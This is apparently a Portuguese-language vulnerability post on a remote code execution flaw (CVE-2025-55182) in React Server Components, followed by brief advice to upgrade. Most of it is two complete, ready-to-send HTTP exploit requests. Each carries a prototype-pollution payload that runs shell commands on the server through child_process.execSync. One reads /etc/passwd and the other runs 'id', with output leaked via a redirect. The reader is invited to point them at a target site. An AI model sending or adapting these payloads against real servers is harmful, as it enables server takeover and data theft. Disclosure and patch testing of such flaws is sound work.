RCE em React Server Components - CVE-2025-55182

Olá! Espero que você esteja tendo um ótimo dia! 😊✨

Sobre o que é isso?

As versões 19.0.0, 19.1.0, 19.1.1 e 19.2.0 do React Server Components têm um sério problema de segurança. Os pacotes react-server-dom-parcel, react-server-dom-turbopack e react-server-dom-webpack são afetados.

O problema acontece quando o servidor lê dados das requisições de forma insegura. Atacantes podem enviar dados especiais que fazem o servidor executar seus comandos.

---

Prova de Conceito - Exemplo de Ataque Completo

Aqui está a requisição de ataque completa que demonstra o problema. Eu alterei os comandos para exemplos seguros.

Substitua target-website.com pelo site que você está testando.

Requisição de Ataque #1 - Ler Arquivo do Sistema

POST / HTTP/1.1
Host: target-website.com
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 721

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /etc/passwd|tr \"\\n\" \"@\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

---

Requisição de Ataque #2 - Verificar Informações do Usuário

POST / HTTP/1.1
Host: target-website.com
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 691

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

---

Explicação Simples

1. O servidor lê os dados da requisição
2. Dados maliciosos podem enganar o servidor para executar comandos
3. Atacantes podem executar qualquer comando que quiserem
4. Os comandos ficam ocultos nos dados que enviamos

---

O Que Pode Acontecer?

Atacantes podem:

• Executar qualquer comando no servidor
• Ler arquivos secretos
• Assumir o controle do servidor
• Roubar todos os dados

---

Como Corrigir

Atualize o React imediatamente! Obtenha a versão mais recente onde esse problema foi corrigido.

---

Links Úteis

• Ferramenta de Scanner Oficial
• Detalhes Técnicos
• Aviso de Segurança do Facebook
• Lista de Segurança OpenWall
• Blog Oficial do React
• Aviso de Segurança do Next.js
• Aviso de Atualização da Vercel

---

Cuide-se e fique seguro por aí! ✨❤️